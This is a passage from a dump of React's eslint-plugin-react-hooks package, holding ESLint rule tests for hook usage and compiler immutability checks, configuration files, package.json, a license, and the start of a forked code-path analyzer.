onClick={useEffectEvent(() => {\n            showNotification(theme);\n          })} />;\n        }\n      `,\n      errors: [{...useEffectEventError(null, false), line: 5}],\n    },\n    {\n      code: normalizeIndent`\n        // This should error even though it shares an identifier name with the below\n        function MyComponent({theme}) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme)\n          });\n          return <Child onClick={onClick} />\n        }\n\n        // The useEffectEvent function shares an identifier name with the above\n        function MyOtherComponent({theme}) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme)\n          });\n          return <Child onClick={() => onClick()} />\n        }\n\n        // The useEffectEvent function shares an identifier name with the above\n        function MyLastComponent({theme}) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme)\n          });\n          useEffect(() => {\n            onClick(); // No error here, errors on all other uses\n            onClick;\n          })\n          return <Child />\n        }\n      `,\n      errors: [\n        {...useEffectEventError('onClick', false), line: 7},\n        {...useEffectEventError('onClick', true), line: 15},\n      ],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // This should error even though it shares an identifier name with the below\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme)\n          });\n          return <Child onClick={onClick} />\n        }\n\n        // The useEffectEvent function shares an identifier name with the above\n        component MyOtherComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme)\n          });\n          return <Child onClick={() => onClick()} />\n        }\n\n        // The useEffectEvent function shares an identifier name with the above\n        component MyLastComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme)\n          });\n          useEffect(() => {\n            onClick(); // No error here, errors on all other uses\n            onClick;\n          })\n          return <Child />\n        }\n      `,\n      errors: [\n        {...useEffectEventError('onClick', false), line: 8},\n        {...useEffectEventError('onClick', true), line: 16},\n      ],\n    },\n    {\n      code: normalizeIndent`\n        const MyComponent = ({ theme }) => {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          return <Child onClick={onClick}></Child>;\n        }\n      `,\n      errors: [useEffectEventError('onClick', false)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because onClick is being aliased to foo but not invoked\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          let foo = onClick;\n          return <Bar onClick={foo} />\n        }\n      `,\n      errors: [{...useEffectEventError('onClick', false), line: 7}],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Invalid because onClick is being aliased to foo but not invoked\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          let foo = onClick;\n          return <Bar onClick={foo} />\n        }\n      `,\n      errors: [{...useEffectEventError('onClick', false), line: 8}],\n    },\n    {\n      code: normalizeIndent`\n        // Should error because it's being passed down to JSX, although it's been referenced once\n        // in an effect\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(them);\n          });\n          useEffect(() => {\n            setTimeout(onClick, 100);\n          });\n          return <Child onClick={onClick} />\n        }\n      `,\n      errors: [useEffectEventError('onClick', false)],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Should error because it's being passed down to JSX, although it's been referenced once\n        // in an effect\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(them);\n          });\n          useEffect(() => {\n            setTimeout(onClick, 100);\n          });\n          return <Child onClick={onClick} />\n        }\n      `,\n      errors: [useEffectEventError('onClick', false)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because functions created with useEffectEvent cannot be called in arbitrary closures.\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          // error message 1\n          const onClick2 = () => { onClick() };\n          // error message 2\n          const onClick3 = useCallback(() => onClick(), []);\n          // error message 3\n          const onClick4 = onClick;\n          return <>\n            {/** error message 4 */}\n            <Child onClick={onClick}></Child>\n            <Child onClick={onClick2}></Child>\n            <Child onClick={onClick3}></Child>\n          </>;\n        }\n      `,\n      // Explicitly test error messages here for various cases\n      errors: [\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          'Effects and Effect Events in the same component.',\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          'Effects and Effect Events in the same component.',\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          `Effects and Effect Events in the same component. ` +\n          `It cannot be assigned to a variable or passed down.`,\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          `Effects and Effect Events in the same component. ` +\n          `It cannot be assigned to a variable or passed down.`,\n      ],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Hook syntax version\n        // Invalid because functions created with useEffectEvent cannot be called in arbitrary closures.\n        hook useMyHook(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          // error message 1\n          const onClick2 = () => { onClick() };\n          // error message 2\n          const onClick3 = useCallback(() => onClick(), []);\n          // error message 3\n          const onClick4 = onClick;\n          return <>\n            {/** error message 4 */}\n            <Child onClick={onClick}></Child>\n            <Child onClick={onClick2}></Child>\n            <Child onClick={onClick3}></Child>\n          </>;\n        }\n      `,\n      // Explicitly test error messages here for various cases\n      errors: [\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          'Effects and Effect Events in the same component.',\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          'Effects and Effect Events in the same component.',\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          `Effects and Effect Events in the same component. ` +\n          `It cannot be assigned to a variable or passed down.`,\n        `\\`onClick\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n          `Effects and Effect Events in the same component. ` +\n          `It cannot be assigned to a variable or passed down.`,\n      ],\n    },\n  ],\n};\n\nfunction conditionalError(hook, hasPreviousFinalizer = false) {\n  return {\n    message:\n      `React Hook \"${hook}\" is called conditionally. React Hooks must be ` +\n      'called in the exact same order in every component render.' +\n      (hasPreviousFinalizer\n        ? ' Did you accidentally call a React Hook after an early return?'\n        : ''),\n  };\n}\n\nfunction loopError(hook) {\n  return {\n    message:\n      `React Hook \"${hook}\" may be executed more than once. Possibly ` +\n      'because it is called in a loop. React Hooks must be called in the ' +\n      'exact same order in every component render.',\n  };\n}\n\nfunction functionError(hook, fn) {\n  return {\n    message:\n      `React Hook \"${hook}\" is called in function \"${fn}\" that is neither ` +\n      'a React function component nor a custom React Hook function.' +\n      ' React component names must start with an uppercase letter.' +\n      ' React Hook names must start with the word \"use\".',\n  };\n}\n\nfunction genericError(hook) {\n  return {\n    message:\n      `React Hook \"${hook}\" cannot be called inside a callback. React Hooks ` +\n      'must be called in a React function component or a custom React ' +\n      'Hook function.',\n  };\n}\n\nfunction topLevelError(hook) {\n  return {\n    message:\n      `React Hook \"${hook}\" cannot be called at the top level. React Hooks ` +\n      'must be called in a React function component or a custom React ' +\n      'Hook function.',\n  };\n}\n\nfunction classError(hook) {\n  return {\n    message:\n      `React Hook \"${hook}\" cannot be called in a class component. React Hooks ` +\n      'must be called in a React function component or a custom React ' +\n      'Hook function.',\n  };\n}\n\nfunction useEffectEventError(fn, called) {\n  if (fn === null) {\n    return {\n      message:\n        `React Hook \"useEffectEvent\" can only be called at the top level of your component.` +\n        ` It cannot be passed down.`,\n    };\n  }\n\n  return {\n    message:\n      `\\`${fn}\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n      'Effects and Effect Events in the same component.' +\n      (called ? '' : ' It cannot be assigned to a variable or passed down.'),\n  };\n}\n\nfunction asyncComponentHookError(fn) {\n  return {\n    message: `React Hook \"${fn}\" cannot be called in an async function.`,\n  };\n}\n\nfunction tryCatchUseError(fn) {\n  return {\n    message: `React Hook \"${fn}\" cannot be called in a try/catch block.`,\n  };\n}\n\n// For easier local testing\nif (!process.env.CI) {\n  let only = [];\n  let skipped = [];\n  [...allTests.valid, ...allTests.invalid].forEach(t => {\n    if (t.skip) {\n      delete t.skip;\n      skipped.push(t);\n    }\n    if (t.only) {\n      delete t.only;\n      only.push(t);\n    }\n  });\n  const predicate = t => {\n    if (only.length > 0) {\n      return only.indexOf(t) !== -1;\n    }\n    if (skipped.length > 0) {\n      return skipped.indexOf(t) === -1;\n    }\n    return true;\n  };\n  allTests.valid = allTests.valid.filter(predicate);\n  allTests.invalid = allTests.invalid.filter(predicate);\n}\n\nfunction filteredTests(predicate) {\n  return {\n    valid: allTests.valid.filter(predicate),\n    invalid: allTests.invalid.filter(predicate),\n  };\n}\n\nconst flowTests = filteredTests(t => t.syntax == null || t.syntax === 'flow');\nconst tests = filteredTests(t => t.syntax !== 'flow');\n\nallTests.valid.forEach(t => delete t.syntax);\nallTests.invalid.forEach(t => delete t.syntax);\n\ndescribe('rules-of-hooks/rules-of-hooks', () => {\n  const parserOptionsV7 = {\n    ecmaFeatures: {\n      jsx: true,\n    },\n    ecmaVersion: 6,\n    sourceType: 'module',\n  };\n\n  const languageOptionsV9 = {\n    ecmaVersion: 6,\n    sourceType: 'module',\n    parserOptions: {\n      ecmaFeatures: {\n        jsx: true,\n      },\n    },\n  };\n\n  new ESLintTesterV7({\n    parser: require.resolve('babel-eslint'),\n    parserOptions: parserOptionsV7,\n  }).run('eslint: v7, parser: babel-eslint', ReactHooksESLintRule, tests);\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@babel/eslint-parser'),\n    },\n  }).run(\n    'eslint: v9, parser: @babel/eslint-parser',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('hermes-eslint'),\n    parserOptions: {\n      sourceType: 'module',\n      enableExperimentalComponentSyntax: true,\n    },\n  }).run('eslint: v7, parser: hermes-eslint', ReactHooksESLintRule, flowTests);\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('hermes-eslint'),\n      parserOptions: {\n        sourceType: 'module',\n        enableExperimentalComponentSyntax: true,\n      },\n    },\n  }).run('eslint: v9, parser: hermes-eslint', ReactHooksESLintRule, flowTests);\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v2'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@2.x',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v2'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@2.x',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v3'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@3.x',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v3'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@3.x',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v4'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@4.x',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v4'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@4.x',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV7({\n    parser: require.resolve('@typescript-eslint/parser-v5'),\n    parserOptions: parserOptionsV7,\n  }).run(\n    'eslint: v7, parser: @typescript-eslint/parser@^5.0.0-0',\n    ReactHooksESLintRule,\n    tests\n  );\n\n  new ESLintTesterV9({\n    languageOptions: {\n      ...languageOptionsV9,\n      parser: require('@typescript-eslint/parser-v5'),\n    },\n  }).run(\n    'eslint: v9, parser: @typescript-eslint/parser@^5.0.0',\n    ReactHooksESLintRule,\n    tests\n  );\n});\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleFlow-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {RuleTester} from 'eslint';\nimport {allRules} from '../src/shared/ReactCompiler';\n\nconst ESLintTesterV8 = require('eslint-v8').RuleTester;\n\n/**\n * A string template tag that removes padding from the left side of multi-line strings\n * @param {Array} strings array of code strings (only one expected)\n */\nfunction normalizeIndent(strings: TemplateStringsArray): string {\n  const codeLines = strings[0]?.split('\\n') ?? [];\n  const leftPadding = codeLines[1]?.match(/\\s+/)![0] ?? '';\n  return codeLines.map(line => line.slice(leftPadding.length)).join('\\n');\n}\n\ntype CompilerTestCases = {\n  valid: RuleTester.ValidTestCase[];\n  invalid: RuleTester.InvalidTestCase[];\n};\n\nconst tests: CompilerTestCases = {\n  valid: [\n    // ===========================================\n    // Tests for mayContainReactCode heuristic with Flow syntax\n    // Files that should be SKIPPED (no React-like function names)\n    // These contain code that WOULD trigger errors if compiled,\n    // but since the heuristic skips them, no errors are reported.\n    // ===========================================\n    {\n      name: '[Heuristic/Flow] Skips files with only lowercase utility functions',\n      filename: 'utils.js',\n      code: normalizeIndent`\n        function helper(obj) {\n          obj.key = 'value';\n          return obj;\n        }\n      `,\n    },\n    {\n      name: '[Heuristic/Flow] Skips lowercase arrow functions even with mutations',\n      filename: 'helpers.js',\n      code: normalizeIndent`\n        const processData = (input) => {\n          input.modified = true;\n          return input;\n        };\n      `,\n    },\n  ],\n  invalid: [\n    // ===========================================\n    // Tests for mayContainReactCode heuristic with Flow component/hook syntax\n    // These use Flow's component/hook declarations which should be detected\n    // ===========================================\n    {\n      name: '[Heuristic/Flow] Compiles Flow component declaration - detects prop mutation',\n      filename: 'component.js',\n      code: normalizeIndent`\n        component MyComponent(a: {key: string}) {\n          a.key = 'value';\n          return <div />;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic/Flow] Compiles exported Flow component declaration - detects prop mutation',\n      filename: 'component.js',\n      code: normalizeIndent`\n        export component MyComponent(a: {key: string}) {\n          a.key = 'value';\n          return <div />;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic/Flow] Compiles default exported Flow component declaration - detects prop mutation',\n      filename: 'component.js',\n      code: normalizeIndent`\n        export default component MyComponent(a: {key: string}) {\n          a.key = 'value';\n          return <div />;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic/Flow] Compiles Flow hook declaration - detects argument mutation',\n      filename: 'hooks.js',\n      code: normalizeIndent`\n        hook useMyHook(a: {key: string}) {\n          a.key = 'value';\n          return a;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props or hook arguments/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic/Flow] Compiles exported Flow hook declaration - detects argument mutation',\n      filename: 'hooks.js',\n      code: normalizeIndent`\n        export hook useMyHook(a: {key: string}) {\n          a.key = 'value';\n          return a;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props or hook arguments/,\n        },\n      ],\n    },\n  ],\n};\n\nconst eslintTester = new ESLintTesterV8({\n  parser: require.resolve('hermes-eslint'),\n  parserOptions: {\n    sourceType: 'module',\n    enableExperimentalComponentSyntax: true,\n  },\n});\neslintTester.run('react-compiler', allRules['immutability'].rule, tests);\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleTypescript-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {RuleTester} from 'eslint';\nimport {allRules} from '../src/shared/ReactCompiler';\n\nconst ESLintTesterV8 = require('eslint-v8').RuleTester;\n\n/**\n * A string template tag that removes padding from the left side of multi-line strings\n * @param {Array} strings array of code strings (only one expected)\n */\nfunction normalizeIndent(strings: TemplateStringsArray): string {\n  const codeLines = strings[0]?.split('\\n') ?? [];\n  const leftPadding = codeLines[1]?.match(/\\s+/)![0] ?? '';\n  return codeLines.map(line => line.slice(leftPadding.length)).join('\\n');\n}\n\ntype CompilerTestCases = {\n  valid: RuleTester.ValidTestCase[];\n  invalid: RuleTester.InvalidTestCase[];\n};\n\nconst tests: CompilerTestCases = {\n  valid: [\n    {\n      name: 'Basic example',\n      filename: 'test.tsx',\n      code: normalizeIndent`\n        function Button(props) {\n          return null;\n        }\n      `,\n    },\n    {\n      name: 'Repro for hooks as normal values',\n      filename: 'test.tsx',\n      code: normalizeIndent`\n        function Button(props) {\n          const scrollview = React.useRef<ScrollView>(null);\n          return <Button thing={scrollview} />;\n        }\n      `,\n    },\n    // ===========================================\n    // Tests for mayContainReactCode heuristic\n    // Files that should be SKIPPED (no React-like function names)\n    // These contain code that WOULD trigger errors if compiled,\n    // but since the heuristic skips them, no errors are reported.\n    // ===========================================\n    {\n      name: '[Heuristic] Skips files with only lowercase utility functions',\n      filename: 'utils.ts',\n      // This mutates an argument, which would be flagged in a component/hook,\n      // but this file is skipped because there are no React-like function names\n      code: normalizeIndent`\n        function helper(obj) {\n          obj.key = 'value';\n          return obj;\n        }\n      `,\n    },\n    {\n      name: '[Heuristic] Skips lowercase arrow functions even with mutations',\n      filename: 'helpers.ts',\n      // Would be flagged if compiled, but skipped due to lowercase name\n      code: normalizeIndent`\n        const processData = (input) => {\n          input.modified = true;\n          return input;\n        };\n      `,\n    },\n  ],\n  invalid: [\n    {\n      name: 'Mutating useState value',\n      filename: 'test.tsx',\n      code: `\n        import { useState } from 'react';\n        function Component(props) {\n          // typescript syntax that hermes-parser doesn't understand yet\n          const x: \\`foo\\${1}\\` = 'foo1';\n          const [state, setState] = useState({a: 0});\n          state.a = 1;\n          return <div>{props.foo}</div>;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying a value returned from 'useState\\(\\)'/,\n          line: 7,\n        },\n      ],\n    },\n    // ===========================================\n    // Tests for mayContainReactCode heuristic\n    // Files that SHOULD be compiled (have React-like function names)\n    // These contain violations to prove compilation happens.\n    // ===========================================\n    {\n      name: '[Heuristic] Compiles PascalCase function declaration - detects prop mutation',\n      filename: 'component.tsx',\n      code: normalizeIndent`\n        function MyComponent({a}) {\n          a.key = 'value';\n          return <div />;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic] Compiles PascalCase arrow function - detects prop mutation',\n      filename: 'component.tsx',\n      code: normalizeIndent`\n        const MyComponent = ({a}) => {\n          a.key = 'value';\n          return <div />;\n        };\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic] Compiles PascalCase function expression - detects prop mutation',\n      filename: 'component.tsx',\n      code: normalizeIndent`\n        const MyComponent = function({a}) {\n          a.key = 'value';\n          return <div />;\n        };\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic] Compiles exported function declaration - detects prop mutation',\n      filename: 'component.tsx',\n      code: normalizeIndent`\n        export function MyComponent({a}) {\n          a.key = 'value';\n          return <div />;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic] Compiles exported arrow function - detects prop mutation',\n      filename: 'component.tsx',\n      code: normalizeIndent`\n        export const MyComponent = ({a}) => {\n          a.key = 'value';\n          return <div />;\n        };\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n    {\n      name: '[Heuristic] Compiles default exported function - detects prop mutation',\n      filename: 'component.tsx',\n      code: normalizeIndent`\n        export default function MyComponent({a}) {\n          a.key = 'value';\n          return <div />;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying component props/,\n        },\n      ],\n    },\n  ],\n};\n\nconst eslintTester = new ESLintTesterV8({\n  parser: require.resolve('@typescript-eslint/parser-v5'),\n});\neslintTester.run('react-compiler', allRules['immutability'].rule, tests);\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/babel.config.js",
    "content": "/**\n * This file is purely being used for local jest runs, and doesn't participate in the build process.\n */\n'use strict';\n\nmodule.exports = {\n  extends: '../../babel.config-ts.js',\n};\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/index.js",
    "content": "module.exports = require('./src/index.ts');\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/jest.config.js",
    "content": "'use strict';\n\nprocess.env.NODE_ENV = 'development';\n\nmodule.exports = {\n  setupFiles: [require.resolve('../../scripts/jest/setupEnvironment.js')],\n  moduleFileExtensions: ['ts', 'js', 'json'],\n  moduleNameMapper: {\n    '^babel-plugin-react-compiler$':\n      '<rootDir>/../../compiler/packages/babel-plugin-react-compiler/dist/index.js',\n  },\n};\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/npm/index.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport reactHooks from './cjs/eslint-plugin-react-hooks';\n\nexport = reactHooks;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/npm/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// TODO: this doesn't make sense for an ESLint rule.\n// We need to fix our build process to not create bundles for \"raw\" packages like this.\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/eslint-plugin-react-hooks.production.js');\n} else {\n  module.exports = require('./cjs/eslint-plugin-react-hooks.development.js');\n}\n\n// Hint to Node’s cjs-module-lexer to make named imports work\n// https://github.com/facebook/react/issues/34801#issuecomment-3433478810\n// eslint-disable-next-line ft-flow/no-unused-expressions\n0 &&\n  (module.exports = {\n    meta: true,\n    rules: true,\n    configs: true,\n  });\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/package.json",
    "content": "{\n  \"name\": \"eslint-plugin-react-hooks\",\n  \"description\": \"ESLint rules for React Hooks\",\n  \"version\": \"7.0.0\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/eslint-plugin-react-hooks\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"cjs\",\n    \"index.js\",\n    \"index.d.ts\"\n  ],\n  \"keywords\": [\n    \"eslint\",\n    \"eslint-plugin\",\n    \"eslintplugin\",\n    \"react\"\n  ],\n  \"scripts\": {\n    \"build:compiler\": \"cd ../../compiler && yarn workspace babel-plugin-react-compiler build\",\n    \"test\": \"yarn build:compiler && jest\",\n    \"typecheck\": \"tsc --noEmit\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"main\": \"./index.js\",\n  \"types\": \"./index.d.ts\",\n  \"engines\": {\n    \"node\": \">=18\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"peerDependencies\": {\n    \"eslint\": \"^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.24.4\",\n    \"@babel/parser\": \"^7.24.4\",\n    \"hermes-parser\": \"^0.25.1\",\n    \"zod\": \"^3.25.0 || ^4.0.0\",\n    \"zod-validation-error\": \"^3.5.0 || ^4.0.0\"\n  },\n  \"devDependencies\": {\n    \"@babel/eslint-parser\": \"^7.11.4\",\n    \"@babel/preset-typescript\": \"^7.26.0\",\n    \"@babel/types\": \"^7.19.0\",\n    \"@tsconfig/strictest\": \"^2.0.5\",\n    \"@types/eslint\": \"^9.6.1\",\n    \"@types/estree\": \"^1.0.6\",\n    \"@types/estree-jsx\": \"^1.0.5\",\n    \"@types/node\": \"^20.2.5\",\n    \"@typescript-eslint/parser-v2\": \"npm:@typescript-eslint/parser@^2.26.0\",\n    \"@typescript-eslint/parser-v3\": \"npm:@typescript-eslint/parser@^3.10.0\",\n    \"@typescript-eslint/parser-v4\": \"npm:@typescript-eslint/parser@^4.1.0\",\n    \"@typescript-eslint/parser-v5\": \"npm:@typescript-eslint/parser@^5.62.0\",\n    \"babel-eslint\": \"^10.0.3\",\n    \"eslint-v7\": \"npm:eslint@^7.7.0\",\n    \"eslint-v8\": \"npm:eslint@^8.57.1\",\n    \"eslint-v9\": \"npm:eslint@^9.0.0\",\n    \"jest\": \"^29.5.0\",\n    \"typescript\": \"^5.4.3\"\n  }\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/LICENSE",
    "content": "Copyright OpenJS Foundation and other contributors, <www.openjsf.org>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/README.md",
    "content": "# Code Path Analyzer\n\nThis code is a forked version of ESLints Code Path Analyzer which includes\nsupport for Component Syntax.\n\nForked from: https://github.com/eslint/eslint/tree/main/lib/linter/code-path-analysis\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/assert.js",
    "content": "'use strict';\n\nfunction assert(cond) {\n  if (!cond) {\n    throw new Error('Assertion violated.');\n  }\n}\n\nmodule.exports = assert;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-analyzer.js",
    "content": "'use strict';\n\n/* eslint-disable react-internal/no-primitive-constructors */\n\n//------------------------------------------------------------------------------\n// Requirements\n//------------------------------------------------------------------------------\n\n// eslint-disable-next-line\nconst assert = require('./assert');\n// eslint-disable-next-line\nconst CodePath = require('./code-path');\n// eslint-disable-next-line\nconst CodePathSegment = require('./code-path-segment');\n// eslint-disable-next-line\nconst IdGenerator = require('./id-generator');\n\nconst breakableTypePattern =\n  /^(?:(?:Do)?While|For(?:In|Of)?|Switch)Statement$/u;\n\n//------------------------------------------------------------------------------\n// Helpers\n//------------------------------------------------------------------------------\n\n/**\n * Checks whether or not a given node is a `case` node (not `default` node).\n * @param {ASTNode} node A `SwitchCase` node to check.\n * @returns {boolean} `true` if the node is a `case` node (not `default` node).\n */\nfunction isCaseNode(node) {\n  return Boolean(node.test);\n}\n\n/**\n * Checks if a given node appears as the value of a PropertyDefinition node.\n * @param {ASTNode} node THe node to check.\n * @returns {boolean} `true` if the node is a PropertyDefinition value,\n *      false if not.\n */\nfunction isPropertyDefinitionValue(node) {\n  const parent = node.parent;\n\n  return (\n    parent && parent.type === 'PropertyDefinition' && parent.value === node\n  );\n}\n\n/**\n * Checks whether the given logical operator is taken into account for the code\n * path analysis.\n * @param {string} operator The operator found in the LogicalExpression node\n * @returns {boolean} `true` if the operator is \"&&\" or \"||\" or \"??\"\n */\nfunction isHandledLogicalOperator(operator) {\n  return operator === '&&' || operator === '||' || operator === '??';\n}\n\n/**\n * Checks whether the given assignment operator is a logical assignment operator.\n * Logical assignments are taken into account for the code path analysis\n * because of their short-circuiting semantics.\n * @param {string} operator The operator found in the AssignmentExpression node\n * @returns {boolean} `true` if the operator is \"&&=\" or \"||=\" or \"??=\"\n */\nfunction isLogicalAssignmentOperator(operator) {\n  return operator === '&&=' || operator === '||=' || operator === '??=';\n}\n\n/**\n * Gets the label if the parent node of a given node is a LabeledStatement.\n * @param {ASTNode} node A node to get.\n * @returns {string|null} The label or `null`.\n */\nfunction getLabel(node) {\n  if (node.parent.type === 'LabeledStatement') {\n    return node.parent.label.name;\n  }\n  return null;\n}\n\n/**\n * Checks whether or not a given logical expression node goes different path\n * between the `true` case and the `false` case.\n * @param {ASTNode} node A node to check.\n * @returns {boolean} `true` if the node is a test of a choice statement.\n */\nfunction isForkingByTrueOrFalse(node) {\n  const parent = node.parent;\n\n  switch (parent.type) {\n    case 'ConditionalExpression':\n    case 'IfStatement':\n    case 'WhileStatement':\n    case 'DoWhileStatement':\n    case 'ForStatement':\n      return parent.test === node;\n\n    case 'LogicalExpression':\n      return isHandledLogicalOperator(parent.operator);\n\n    case 'AssignmentExpression':\n      return isLogicalAssignmentOperator(parent.operator);\n\n    default:\n      return false;\n  }\n}\n\n/**\n * Gets the boolean value of a given literal node.\n *\n * This is used to detect 